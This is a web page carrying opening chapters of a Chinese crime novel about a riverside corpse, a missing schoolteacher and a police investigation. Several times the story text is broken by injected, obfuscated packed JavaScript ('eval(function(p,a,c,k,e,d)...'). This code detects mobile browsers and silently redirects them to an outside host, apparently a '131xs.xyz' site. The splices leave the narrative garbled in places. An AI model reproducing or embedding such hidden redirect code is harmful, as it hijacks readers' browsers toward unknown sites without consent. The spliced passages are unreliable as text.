《浴火而生》 1. 河边浮尸 下半夜,接连暴晒了三十余天、温度接近四十度的关图县出乎人意地下起了瓢泼大雨。 碗大的雨点砸在千家万户的窗户上、墙面上,又顺着墙面流淌在地上,最后汇聚成洪流,裹挟着人们想隐藏的各种秘密,倾泄入巢河之中。 不多时,横穿关图县的巢河,携带着一具再也不能说话的尸体,浩浩荡荡,向东而去。 清晨,关图县南边的沿江路东段围满了看热闹的人。 一大早,地上还湿哒哒,淌着昨晚的雨水,雨后的空气里带着极重的土腥味和清新的青草味。 他们顾不得河边一夜暴涨,留到河岸上的泥水,吵吵闹闹,叽叽喳喳,把现场围了个水泄不通。 “这才几天呢,又出事了,今年我们县城运势不好哦。”一个白汗衫男子双手抱臂,仰着脑袋朝远处的尸体张望。 “又?还出什么事了?”小个子男人扒拉开拥堵的人群,从中间费力地挤入。 白汗衫男子摇头晃脑:“啧,以前的城南水泥厂你知不知道?就是前几天晚上,快凌晨的时候,起火了,烧了一大片!” 小个子男人不在意地撇了撇嘴:“天干物燥的,很正常——” “是谁啊,躺着的那个?”一个身着藏蓝色长裙的阿姨指着尸体的方向,问叭叭个不停地白汗衫男子,“那个是谁?你看清楚他长什么样子了没有?” “谁敢看啊!不知道在河里泡了多久,说不定都泡烂了。早上我刚打算过去看,就被警察拦下来了,啥也没看到,就看到全身都是白的。” “不知道是哪家的人,造孽哦,这种死法,死了都不得安生……”长裙阿姨嘴上感叹,手上却没留情,掏出包里的手机,一会儿蹲着,一会儿站着,从栅栏的缝隙里换着角度拍照。 小个子男人捂着鼻子:“应该死了很久了吧,隔着这么远的距离都能闻到臭味,哎呀,臭死了,比去年我家停电了的冰箱还要臭!” 他突然想到什么,一拍脑袋:“哎,我听说关图中学有个老师失踪几天了,啧,就是我侄子的班主任,会不会……” “那我就不清楚了,等警察调查清楚了才知道。”白汗衫男人随口敷衍他,转而跟旁边其他的人聊起闲天来。 说者无心,听者有意,人群后方一个没能挤到前面的人愣了愣,然后一边挤出人群,一边掏出手机大步跑开。 “妈,巢河河边死了个人!我听别人说是个老师,你跟周琳说一声,叫她去确认一下……” 巢河历经一个夏天,水位骤降,昨晚持续了大半夜的特大暴雨裹挟着树枝、垃圾等杂物,一下子涌入河里。 两岸水位猛涨,尸体本来顺着汹涌的河流,迅速往下游流去。尸体经过沿江路东段的一座大桥底下时,被横在河流中间的高大桥墩挡住,借着河水的力量,朝着岸边转了个弯,这才被冲到滩涂上。 两个才工作一年多的小警察站在外圈,见到尸体的惨状都有些害怕,可看同事们都在尸体附近忙活,也想凑上前帮忙。 两人强忍了直冲鼻子的恶臭,抑制住从胃里翻腾上来的呕吐感,战战兢兢地挪步走进,听着内圈几人的对话。 “初步检查了一下,根据尸体的状况来看,死亡时间超过两天,初步表现出巨人观。但如果长期泡在水里或者处于低温环境,可能会减缓尸体腐败,所以死亡时间会更长。具体还需要进一步分析。”法医一边脱手套,一边说道。 死者用一种十分诡异的姿势仰躺在滩涂的鹅卵石上,上身穿着黑色的短袖,由于肠道内滋生的大量腐败细菌,包在身上的衣服鼓鼓囊囊,紧紧贴在身上。 下身穿了一条黑色的短裤,松垮垮地围着腰腹部,腰间露出的皮肉呈现出深浅不一的绿色斑块。 两只脚露出在外面,没有穿鞋。 面部已经有些肿胀,眼球突出,脸上的皮肤和腰腹部差不多,污青色的斑点大小不一,衬在惨白的肤色上尤为明显。除此之外,两颊、嘴角和脖子上都有青肿的瘢痕。 白杨绕到尸体侧边,弯腰蹲在地上,凑近了,才看到死者左手手指都已经烂掉,和沾在上面的污泥糊成一片。而另一侧的右手攥成拳头,好像紧紧握住了什么东西。 正在四周勘察现场的班青也注意到了这头的情况,踩在鹅卵石和污泥上,深一脚浅一脚地走过来。 打开死者的右手,里面一枚戒指赫然出现在众人眼前,在东升的阳光下,折射出一道刺眼的光芒。 两名新人警察受到好奇心驱使,对视一眼,都看到对方眼里的鼓舞,心一横,终于鼓起勇气往尸体旁边凑。 没走几步,其中一人就紧紧地捂住嘴巴,满脸菜色,使劲摆动双手向后退去。 而另一个人,壮着胆子,挪动脚步走到尸体旁边。他探出头,挤入攒动的几个脑袋,去看那戒指。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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班青没有催促她,因为他们已经见怪不怪,看多了这样的生离死别的场景。 一阵漫长的静默后,周琳咽了咽口水,吸了吸鼻子,擦干眼泪,走向尸体。 班青跟在她身后,缓缓向前走。 突然,周琳像一堵墙一样,挡在她的身前。 她机械一般地转过身,看看身后的班青,又看向对面站着的白杨,满脸惊恐,哆嗦着手指指向躺着的那具尸体。 “他……他不是汪明远……” 2. 失踪的班主任 几天前,开学日。 早上快9点,薛如许偷偷摸摸到了学校。迟到一个小时,但并没有人注意到。 一进教室就听说了两个消息:一个坏消息,另一个也是坏消息。 第一个是,新校长要把钱挪去给高一新生装修宿舍,所以空调没钱装了。 第二个是,班主任汪老师不知什么原因没来,所以严厉的年纪主任让教英语的许老师检查作业,而她,压根没写。 不过,也不能全怪她。 几天前,关图中学高三的学生突然接到学校通知,提前半个月,在8月15日开学。 计划一下被打乱,薛如许接着又打了几天游戏,所以到现在一个字儿也没动。 她一进入教室,热烈的汗臭味、馊味混合着某些体味,像一张密实的口袋,将她嗖一下装了进去,末了还要系上带子。 阳光和青草的芬芳登时变成臭味,一时间让她不适应地捂住鼻子。 但还是忍着不适问同桌的李明明:“汪老师去哪儿了?他不是一直来得很早嘛?咋现在还没到?” 李明明没好气地回答:“我怎么知道?我又不是他肚子里的蛔虫!” 他也始料未及,着急得像热锅上的蚂蚁。 汪老师向来宽容,并不怎么管学生,依照惯例,今天大概率又是随手一翻,然后丢得远远的。 而他跟薛如许一样,一个字儿没碰,原想着今天在汪老师手里平安度过,结果汪老师还不出现。 甚至,他比他同桌还着急,因为年纪主任就是他亲舅舅,要是被发现了,今晚回家后,他的屁股不知道开花成几瓣! 门口的许老师正笑呵呵地跟隔壁班的班主任聊天。 她一米六出头,看着温温柔柔,长了张鹅蛋脸,笑起来还能隐隐看到两个酒窝,但是偏偏长了一对剑眉。 都说长了剑眉的人执拗严格,正义感强,这话果然不错,高三1班的学生都知道她有多难搞。 李明明桌子下的双脚交叉在一起,焦躁地抖动,又蓦地伸开。 “你问问你舅舅吧?”薛如许给他出主意。 他心头一滞,有些心动,但没出声。 薛如许又添一把火:“你怕什么?关心自己的班主任,任由天王老子也说不出你半个‘错’字来!” “……有道理。” 他猛地吸了一口气,趁着站在门口的许老师没注意,拿出他偷偷藏在包里的手机,慌忙给他舅舅发了条微信:舅舅,汪老师哪儿去了?怎么没来?我这次作业做得可认真了,就等着他来检查,表扬表扬我呢! 年级主任刚从校长办公室走出来,要空调没要来,被对方四两拨千斤的态度惹得鬼火直冲头顶,又迫于对方的身份,不敢发作。 刚走到行政楼楼下,裤兜里的手机便不停地震动。 他警铃大作,生怕又是那几个勒令学校安装空调、否则就去投诉的难缠家长,一看手机,长舒一口气,而后头顶的火更大了。 恨恨地,他一通60秒的语音泄洪一样地从嘴里输出:“我怎么知道?他太太都联系不上!死小子,你别以为我不知道你打什么主意,你小子屁股一撅,我就知道你拉屎还是放屁!你给我等着,你的作业我亲自检查!要是没写,看我不打死你!” 年纪主任三步并作两步,一边匆忙往教学楼赶去,一边拨打汪明远的电话,果然还是打不通。 他一早上已经打过好几次,又辗转要到了汪明远妻子周琳的电话,好不容易联系上了,可对方也不知道汪明远在哪儿。 头顶毒辣的日头烘烤得他更加焦躁,头顶榕树上的鸣蝉叫个没完没了,好像就在他耳朵旁嘲哳。 “吱吱吱——”年级主任头顶的鸣蝉好像更近了。 “咣当!”他看四下没人,一脚踹到旁边的榕树树干上,那鸣蝉许是被吓了一跳,竟然真的止住了声音。 “叫什么叫!吵死个人!”他掸去掉落在肩膀上的叶子,仰着头,得意地挑衅,“再敢叫一声试试?” “吱吱吱——” “……” “吱——吱——”夏蝉凄厉的声音不知从哪个方向传来,回荡在空旷阴暗的空间里,却是他除了自己沙哑的嗓音外,唯一能听见的声音。 男人被反手绑缚在一根水泥柱子上,困在一方阴影中。他头顶上方的瓦片开了个口子,或许只是一块玻璃瓦。 金色的阳光透过那处,朝着他面前的水泥地,笔直地投射下一道绚丽的光束。 那光束距离他不过一米的距离,任由他怎么伸直了手脚,也够不到一分一毫。 反而因为他的扭动,从布满灰尘的水泥地上扬起一团又一团的灰,飘荡在空气中,惹得他不停地咳嗽。 男人的嘴巴干裂到了极点,只要他张嘴说话,就能在嘴唇上生生地再扯开一道口子。他不再喊叫,不是因为惧怕伤口的疼痛,而是他太过缺水,嗓子干得一个字也说不出来。 炎热的天气使得他腹部的伤口很快发炎,他偶尔痛苦地一动弹,伤口就扯着他全身剧烈地疼痛。 身下的泥灰已经被他的鲜血染成深褐色,从腹部的位置一直弥漫至脚尖,并有扩散的趋势。 “吱——吱——”蝉鸣声声回荡,不止不休。 不知道过了多久,男人的脑袋像凋谢的花朵,恹恹地歪倒在一旁。 下午,年级主任又给汪老师打了几通电话,对方一直处于关机状态。 而汪老师的妻子说,她几天前独自去了乡下亲戚家奔丧,今天下午两点才赶回。 他等啊等,一直等到两点钟之后,等周琳回家再找找人。 而周琳刚走到楼下,就再次接到年级主任催促的电话,她急不可耐,咚咚咚几步跑上楼,在屋里找了一圈,一个人影也没有。 接着又联系了一圈汪老师的朋友们,对方都回复不知道。 得到周琳的反馈后,年级主任越发慌了神,毕竟汪老师昨天开学筹备会的时候还跟他们在一起。 所以人很可能是从学校出去后失踪的,要是真出了事,学校方面可逃不了干系!而他作为高三的年级主任,更是别想摘干净! 一时间,他想到自己这些年鞍前马后的不易,想到自己可能面临的背锅,脑子里跟装了浆糊一样,流到眼睛里,糊得他差点连脚下的路都看不清。 他强迫自己镇定下来,用尽量冷静的语气跟电话那头的周琳商量道:“汪老师不会出事了吧?要不……我们报警?” 电话那头,周琳的声音中带着满满的迟疑:“……再等等吧,老汪可能是去了他哪个朋友或者亲戚家里,可能喝醉了没醒过来,我们再等等,别到时候给警察添乱——” “可你刚才不是已经打了一圈电话,他们不都说不知道吗?而且……没听说过汪老师会喝酒啊……不行!得赶紧报警!” “……那好吧。” 两个派出所民警一前一后到关图中学的时候,已经快到晚上六点,学生们正在上晚自习。 年级主任带着两人,先是去监控室查看了前一天的监控,后又带着他们去了汪明远所在的教师办公室。 学校后门的监控视频中,14日中午,开完新学期筹备会后,汪明远只身走出学校,之后就再也联系不上。 三人在走廊上时,薛如许正抱着一沓一会儿测试要用的英语试卷,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你嘀嘀咕咕什么呢?搬你的饲料!” “……没有说什么,就是有点重。” 两道声音有来有往,距离男人越来越近,他终于从朦胧的意识中清醒过来:老天爷真的眷顾了他。 他撑着脖颈,喘着粗气倚靠在水泥柱子上,提气大喊,却只有干裂的嘴唇撕扯的痛感,嗓子发不出任何一点声音。 他不甘心地扭动身体,绝不想放弃唯一的机会,但外面的两道声音仍然你来我往,明显是没有听到。 小腹使劲发力,再次提气扯动嗓子,却像病榻上弥留的老人,只剩了夹杂着痛苦的呜咽。 眼泪不知何时从他的眼角滑落,身后反捆的双手费力地想要挣脱。 徒劳而已。 那粗糙的草绳早已磨烂他的手腕,虽然他看不到背后的双手已经血糊糊一片,但一扭动身体,就能清晰地感受到干燥的绳子摩擦过创口的锐痛。 但他顾不得许多,十指张开,用他尖利的指甲在坚硬的水泥地上不停地刮擦,发出刺耳难听的声音,想引起外间两人的注意。 “爸爸……你有没有听到什么奇怪的声音?”年轻稚嫩的声音发出一声询问,里面分明带着惊恐。 “啪!”大手拍在脑袋上,旋即传来一声凄厉地嚎叫。 “啊——痛!” 那鼓声一样的嗓子再次响起:“听到了!怎么会听不到?是懒虫不想干活的声音!是饭桶吃饭吃撑到了的声音!你今晚不要吃饭了!” “别啊,我真的听到了——” “明天也不要吃了!” “……” 两道声音渐行渐远,最后连最微小的响动也听不见。 男人垂着头,无声地哭泣。 老天爷给过他太多次机会,这次……好像真的不愿意眷顾他了。 3. 血衣 次日。 男人已经不知道是第几次睡着,又是第几次醒过来。 手指尖和腹部伤口传来的钝痛将他从昏睡中拉扯出来,他弯折手指到掌心,一阵更加强烈的痛感刺激得他冷汗直流。 昨晚,他不甘心地想通过刮擦水泥地的声音唤起那两人的注意,可他们还是走了,他的十指指尖也烂掉。 他的眼皮费力地张开,一道熟悉的金色光束闯进他的眼帘,和昨天差不多的斜角。 现在应该是他被困在这里的第二天。 由于长时间缺水,加上没有食物摄入,相比于昨天,他的力气和精力已经大不如前。 不知道……还能不能第三次看到这束光…… 前一晚熬了个大夜,班青一进办公室,就看到同样没睡够的白杨跟窗外被酷暑炙烤的绿植一样,耷拉着四肢,以一种扭曲的姿势瘫倒在椅子上。 她刚坐下来,手机就响了,电话那头的声音听起来很急切。 “班青,你和白杨赶紧过来一趟!聚业小区3栋9-2。关图中学教高三的那个汪老师,他家里有情况。” 两人走进小区的时候,3栋底下的入户大厅已经挤满了人。 小区修建于九十年代初,距今已经二十多年,建筑物显得有些破旧,部分外立面的墙皮脱落,碎屑堆积在墙脚。 “都聚在这里干什么,有什么新闻哇?”一个碎花裙老太太探头探脑地问。 她刚送孙女上兴趣班回来,路上走了一阵,大汗淋漓,热得她使劲挥舞着手中的蒲扇。 “于老太,你还没听说吗?你家隔壁姓汪的那个老师,出事了!”花白头发的老头坐在轮椅上,腿脚不行,嘴皮子却很利索。 “啊?出什么事了?我就听说他昨天不见了人,昨晚警察还来了一趟。” “今天也找不见人!听晨练的张老头说,早上警察在他家门口发现了他之前穿的白T恤,上面全部都是血,吓死人了!” 轮椅随着他声情并茂地讲述猛地一动,隐隐有向后滑下的态势,老头儿太专心,以至于半点没有察觉到。 白杨早已混入人群当中,见状,忙伸出一只脚将轮椅推了回去。 “不止这样,张老头还说了,根据他多年的经验,衣服上的血迹不简单!你过来,我给你好好说。”另一个穿着蓝色棉麻裙的老太太向于老太招手,示意她过去。 棉麻裙老太太倾身在于老太耳边,明明是低语的样子,却跟洪钟一样传入所有人耳中:“张老头说了,那上面的血迹是画的符!非常凶险!9-2的那个老师怕是凶多吉少了。” 白杨和班青听着越传越离谱的谣言,一阵无语。 俩人对视一眼,相顾无言,默契地准备上楼。 “怎么办哦,虽说吵吵闹闹,人家两口子毕竟过了一辈子,真出事的话,周琳一个人怎么过?真是造孽啊!”于老太长吁短叹。 轮椅老头抱不平道:“你这话说得,警察都还没发话,你就觉得人家活不成了?你莫非是阎王爷?” 于老太怕落了下风,赶紧呛声:“你又是怎么说话的?大家都是邻居,远亲不如近邻,我难道还盼着汪老师出事吗?你这人讲话真是难听,难怪大家都在背后说你!” “说我什么?谁说的?我撕烂他的嘴!” “那你就从轮椅上跳起来噻,一个一个地,挨着撕!” 周围人哄笑作一团。 一早率先赶到的派出所民警早已把闲杂人员隔离在了楼下,所以9-2室的门口还算安静。 屋里,汪明远的妻子周琳正坐在沙发上,双手捂住脸颊,颤颤巍巍地低声哭泣。 茶几上散落着一个黑色手提垃圾袋和一件红白交错的T恤。 昨天接到关图中学的报警后,辖区派出所组织了人员,分头行动,先后在关图中学的教师办公室以及汪明远的家中展开了调查。 但两个地方暂时都没发现异样,周琳又跟认识的朋友重新确认了一遍,大家都说没见到人,汪老师好像凭空消失了。 而且,周琳和学校的老师都指出,汪明远一直两点一线,除了买东西和锻炼,平时一般很少出门。 一番调查下来,警察也没辙,只好安慰家属注意接听电话,随时保持联系。 没成想,还没开始进一步调查,一大早就再次接到了周琳的报警电话。 电话里,周琳难掩惊恐,语无伦次:“喂,我,我看到……警察同志,我看到了一件带血的衣服,是我先生的。在我家门,门口......” 班青进入屋子后,环视了一大圈儿。 这是一间年代感有些久远的房子,同小区的外表一样,显得有些破旧。 屋里摆放着几样红木家具,样式过时,如今的市场上已经很难再买到。 墙壁也早已泛黄,呈现出斑驳岁月的痕迹。 书柜旁边的墙面上,还有些水彩笔的涂鸦,有奇形怪状的火柴人、几棵树、远处的山脉,还有一种怪异的动物。 班青走近些,细细地查看,又分析了半天,不太确定地猜测,那应该是画的恐龙。 不过这屋子虽说有些残破,房子的主人却收拾得干净,简洁又利落。 外阳台上,几盆绿萝耷拉着叶子,奄奄一息。 白杨翻了翻T恤,上面的血迹已经干涸,有些发黑。 从血迹覆盖的面积来看,它的主人似乎受了很重的伤。 此外,胸膛的部位还有几道被割开的口子,细长而凌乱。 领子上,黄色的汗渍和鲜红的血液遍布,已经变形磨损的布料,显示出它主人的节俭。 “早上七点多,家属打开门就看到了放在门口的黑色塑料袋,T恤就在袋子里。” 派出所民警看了看哭得说不出话的周琳,继续说道:“家属以为又是对面邻居放自己家门口的垃圾,一脚踢开,结果袋子里的衣服就散了出来。” “监控呢?看了监控没有?”白杨问他道。 “楼下监控坏了两年了,老小区管理不规范,物业又不上心,到现在也没修。” “行吧,那排查一下小区附近的监控摄像头,有可疑人员都记录下来,全部摸排一遍。” 白杨接着又指挥现场的警察收集好物证。 班青站在阳台上里,观察着摆了满满一排的花花草草,而后又蹲下身子,看起来对周琳家的花草很感兴趣。 “你昨晚一直在家吗?家里还有没有别人?”白杨转身,盯着捂脸哭泣的周琳问道。 她一直发出呜呜的声音,时不时还吸一吸鼻子,像是哭到喘不过气来。 闻言,她抬起头,哽咽着嗓子:“昨天报警之后我就一直在家等消息,没有出去过。就我一个人在家,我儿子在安城上大学,我怕他担心,就没告诉他。” 周琳从茶几上扯了一张纸巾,擦了擦眼泪。有几缕沾了她眼泪的短发贴在了眼角,她有些烦躁地扒了扒,全部捋到耳后。 “那今天早上呢?有没有听到门口发出什么动静?”白杨接着问道,眼角的余光看到班青已经离开了阳台,穿过客厅,又走向了厨房。 周琳熟视无睹,不甚在意,认真地回答问题:“没,没有,我打开门谁也没看见,就只有一个垃圾袋。我以为是对门的又发癫,把他家垃圾扔到我家门口,气得一脚踢开了。” “那你七点多出门做什么?上班?家里发生这么大的事情,你昨晚没和公司请假?”白杨扯了一张纸巾,递给她,语气中已经带上了明显的质疑。 周琳仍然听不出来,解释道:“请了,昨天下午就请了。我心里一直突突地跳,有种不好的预感,担心得忘记吃饭。结果今早起来,胃病就犯了,疼得厉害,就打算出门买药。” 白杨点点头,又看了看周琳手里捏成团的纸巾,从盒子里重新扯了一张干净的给她。 然后站起身来,叮嘱她:“行了,情况我们都已经了解。你多保重身体,注意休息,等我们后续通知。班青,走了,去关图中学!” 不知什么时候,班青已经从厨房走出来,站到电视机旁边。她直愣愣地注视着茶几上的杯子,有些出神,听到白杨的话,才赶紧回过神来。 “走着,一起。” 白杨在汪明远的办公桌上扫视了一圈,没发现异常。 这是张非常整洁的猪肝色桌子,一尘不染。 中间的黑色硬皮笔记本工工整整地摆放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056055|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,旁边紧贴着一根黑色钢笔。 左边放着几沓试卷,还没有打开。 不待班青和白杨询问,邻桌的一个热心女老师便介绍道:“是开学小测要用的,现在还不能启封。” 班青了然地点点头,随手将试卷放回了原处。 除此之外,就只有几个蓝色的资料盒,一个用得有些破损的塑料笔筒,一个透明的玻璃杯。 里面装了一半的水,泡着些茶叶,不时地上下漂浮,同它主人的命运一样,浮动不定。 茶水都还没来得及喝光,看来它的主人当日走得匆忙。 抽出资料盒里的文件翻找,找了半天,都是些教案和教辅资料之类,没什么帮助。 班青白杨又打开办公桌的抽屉查看,桌子的左侧上下排着三个抽屉,上面两个能很顺利地打开,只剩最下面一个紧紧锁着。 第一层抽屉里是些墨水、签字笔,曲别针之类的小东西。 第二层则放了几盒茶叶,白杨平时很少喝茶,打量一眼就放了回去。班青则重新拿了出来,看了半天。 白杨蹲在那锁着的抽屉前面,左下角的地方有一个锁眼,他握着把手拉了拉,没拉动。 他扭头看向刚才的热心女老师,嘴一张,还没发出声,那老师已经贴心地冲他点点头,一副“你放心,包在我身上”的样子。 班青和白杨赶紧给她腾出地方。 只见她站在抽屉前面,脚尖伸到抽屉和地板砖的缝隙里,往上用力一顶,再弯腰一拉,那抽屉就顺利地打开了! “哇塞,刘老师,还能这么打开,你也太厉害了!”角落里偷偷观察着战况的小老师突地站起来,给刘老师竖了个大拇指。 身形圆润的刘老师非常受用,得意之色溢于言表,手上却不在意地摆动。 “这些桌子都是些老物件,过时了,也是我偶然间发现的。这种破东西,能防得住谁?” 说完,她没有一点好奇心,看都懒得看汪明远抽屉里的东西,晃晃悠悠地回到了自己的位置。 班青和白杨赶紧低头一看,抽屉里却空空如也。 最后,什么异样都没察觉到的班青锁定了桌上的黑色笔记本。 一翻开,纸上密密麻麻地写满了数学符号,间或夹杂着一些剪下来贴在本子里的纸条,上面同样是数学题。 她直接翻到了最新的一页。 8月14日上午10:00,开学筹备会...... 还是没什么线索。 班青合上本子,和白杨对视一眼,两人眼里都是无奈和凝重。 晚上十一点,关图县还笼罩在暑气中,空气中热浪肆虐,翻腾,拍打在行人的身上,也敲击在家家户户紧闭的窗户上。 透过透明的玻璃,房间里灯火通明,白炽灯的灯光铺满了办公区域的每个角落。 每张办公桌上都坐着加班的人,有的轻敲着电脑,有的翻看着文件,有的困意汹涌。有几个到底是熬不住夜,沉沉地睡了过去。 关图县城郊,一处堆积着杂物的废旧工厂,先是起了一阵黑色浓烟,而后几分钟,火苗萌芽,生长,最后长成参天火树,迅速吞噬了一切。 与此同时,一个十分逼仄的狭小空间中,四周伸手不见五指,唯有不远处一点点若有若无的光亮。 由于长时间地处阴湿,散发出一股发霉的味道,混合着泥土的土腥味,夹杂着满鼻腔的血腥味直冲男人的天灵盖。 男人的眼睛突然大大张开,里面布满了骇人的血丝。 他狼狈地趴在黑色的污泥里,一只手抓在地里,一只手紧紧握住手里的戒指,十根手指血糊糊一片,连指甲都已经磨烂。 他回光返照似的,循着点点光芒的方向攀爬而去。 那光芒好像是他小时候盯着天上,看得目不转睛的星星,只要他眨了眼,就再也定位不到。 他腹部的伤口随着他剧烈的动作流出越来越多的鲜血,意识也跟着越来越模糊,上下眼皮不住地打架。 但他强撑着,不让自己昏睡过去。可是意志的坚定,终究斗不过身体的疲乏。 费力地向前爬行几步之后,男人的脑袋无力地垂下,陷在黑色的污泥里。 4. 死者身份 几天后,巢河河岸浮尸的身份很快被查明。 当日除了死者手里握着的那枚戒指,什么能证明身份的证物都没有,DNA库里数据也通通比对不上。 正在和失踪人口对比的时候,局里值守的人接到一通电话。 电话那头声称,和自己一起工作的同事最近总也不见人,他偶然看到了微信群里传播的视频和图片,感觉死者的衣着有些像自己那位同事,但是视频和图片都不够清晰,所以不太能确定。 抱着试一试的心态,局里联系了对方上门认尸。 出乎意料地,对方看了尸体后,当即给了肯定的答复。 随后,警察又去了此人同事的住处提取了头发等生物信息,并作DNA比对,终于确定了死者身份,尸源的问题就这样意外地的得以解决。 经查明,死者姓名耿登,安城关图县河阴村人,现年36岁。家中一儿一女,分别为8岁和5岁。4年前,其女儿一岁出头的时候,耿登夫妇二人离异,两个孩子都留给了他。 这些年耿登一直在关图县城,靠打零工赚钱谋生。 从验尸的结果来看,尸体被发现时,已经死亡了三天。 死者后脑勺有一处凹陷的伤口,身上多处大小不一的淤青,但都不致命。推测生前受过较为严重的殴打,并有重物打砸在后脑勺处。 此外,后背的皮肤上有大面积的磨损伤,尸体应该受过拖动。而死者的十个手指严重溃烂,指甲缝隙里满是淤泥,两个食指的指甲甚至断裂,只有两个大拇指的伤口略轻微。 左腹的位置有三处刀伤,虽不直接致命,但是伤口流血不止,从而导致了死者的死亡。 初步推测,死者先被人从身后突袭,用重物砸在后脑勺,使之失去反抗力量。之后,凶手再用刀子接连捅杀三刀在死者的腹部,导致腹部出血,接着再抛尸。 抛尸地点较为隐蔽,人之罕至,所以最近几天没有接到相关警情。 8月20日凌晨,安图县突然下起大暴雨,河水暴涨,凶手抛尸,尸体跟着水流浮起来,顺着下游方向漂流,最后被桥墩阻挡,停在河边滩涂。 直到当日早上5点多钟,被岸边钓鱼的人看到,这才报了警。 新媒体时代,信息传播速度极快。 耿登浮上岸的当天,发现尸体的钓鱼佬大喊一嗓子,步道上同样钓鱼的、散步的、纳凉的登时全部围了过来。 人越来越多,议论声越来越大,吃瓜群众围了个水泄不通,热热闹闹地讨论还不算完,拍照的拍照,录像的录像。 更有好事之人直接将视频放到网络上,点击量瞬间暴涨,一时间关图县这座小城市突然名声大噪,有了前所未有的关注度。 虽然视频很快被监控到,并当即做了删除处理,但还是有很多照片和录屏的视频在各大平台传播。 造成如此严重的社会影响,如此大范围的传播,上面的人发了好大一通脾气。 一层压一层,最后责任就摊派到班青和白杨这种基层人员身上,勒令他们限期办结,不得延误,否则通通严肃处理。 因此近段时间,大家都战战兢兢,噤若寒蝉。 蔡小新伸了伸懒腰,顶着两只硕大的黑眼圈,跟梁斌嘀咕道:“你说咱俩这什么命,活儿还没干多久,净碰上这些个查不清楚的破事儿?” 梁斌打了个哈欠,往四周环视了一圈儿,看没人注意他俩,才打趣蔡小新:“你之前可不是这么说的,你不是说净是些鸡毛蒜皮的事儿,对你而言没啥挑战?你不是说你大材小用了?” 蔡小新尴尬地哑了声,摸了摸鼻头,装作听不见。 蔡小新正是那日在河边吐了一地的小警察。 而梁斌稍微体面一些,捂着嘴巴,生生将嘴里的恶心感压了回去,不过也好不到哪儿去。 不过,两人没嘀咕多久,很快就被作为队长的白杨派去耿登住处勘察现场,而白杨则和班青一起,去了死者的老家——河阴村。 班青和白杨从上午天刚蒙蒙亮就出发,一路七弯八绕,绕得晕车的班青差点吐在车上,快到晌午才到达了河阴村。 这是关图县城下面最偏远的村子,远离地势平坦的县城四十多公里,四周群山环绕,山势高耸直入云霄,困得人透不过气来。 山峦陡峭,土壤贫瘠,老百姓多以务农为生,看天吃饭,生活十分艰难。 班青和白杨将车子停在村口的小卖部,本想跟小卖部老板打听打听情况,小卖部却关门歇业。 两人没有办法,只能瞎猫碰死耗子一样找人问,可沿着陡峭狭小的山路一路走走停停,一路上一个人影都没见到。 过了快半个钟头,远远地,才看到一个背着一大捆柴火的老伯。 两人看着面生,打扮不像是附近居住的人。 老人有些好奇,又有些谨慎,操着一口沙哑难懂的乡音,打听两人的身份:“你们是哪个?来这里做什么?难道又是来这里爬山的?” 班青和白杨走了大半天,累得直不起腰,口干舌燥,正要艰难地从嘴里蹦出几个字儿来,却听见老伯自顾自地开始教育人:“政府说了好几次了,叫你们这些城里人不要来我们这里爬山!不要爬山!不要爬我们这里的山!你们又乐意来爬,爬进去了又没本事出来——” “老伯,我们不是来爬山的,我们两个是警察,是来这里查案的。不信你看,这是我们的证件。”班青打断他的教训。 她抹了一把脑门上的汗,不住地喘气,又打个眼色,让白杨也拿出证件给老人看。 老人把背上的柴火扔在路边的小土坡上,狐疑地看了看两人,又眯着眼睛接过证件。 待到看清楚上面的字后,他柔和了脸色,赶紧递了回去:“这整我怪不好意思的,老头子我话多了点,你们别介意啊。不过你们上这儿来查什么的?” 班青看他愿意配合,赶紧招呼道:“那我正好跟您打听一些事儿!来来来,先坐着说。” 白杨从土坡上拿了老人的那一捆柴火,由班青引着老人去旁边老槐树树荫下,三个人便坐在田埂上。 “你是说耿登啊?这娃子很久没看到了,好像听他婶子说他去城里打工了。” “您最后一次见到他是什么时候?” 老人略一思索,点点头:“有大半年了。村口开小卖部那家的儿子,年初的时候结婚办了酒席。我在酒席上看到了耿登,当时他喝醉了,睡得像死猪一样,还是主人家晚上把他送回家的。” “他很爱喝酒吗?”班青追问道。 老人摇了摇头,又肯定道:“以前没听说过他爱喝酒,酒席上也没看过他拿酒杯。好像是他婆娘和他离婚后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056056|179109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他才喝起了酒。听他妈说,他后来经常喝醉了就打人骂人,还到处撒尿,出尽了洋相。” “他老婆……因为什么跟他离的婚?”白杨想起耿登信息上提起过他的婚姻状况。 “这个事情,说来就话长了……” 白杨见状,赶紧从裤兜里掏出一包烟,从中取出一根,递给老大爷。后者有点不好意思,但还是满意地接了过来。 烟雾缭绕之中,老大爷砸吧了几口,才又捡起话头:“耿家本来是我们村子里数一数二的有钱人家,虽然跟你们城里人比不上,但是各方面都很不错了……哎呀,至少比我老头子强!” 班青和白杨笑了笑,接着听他讲。 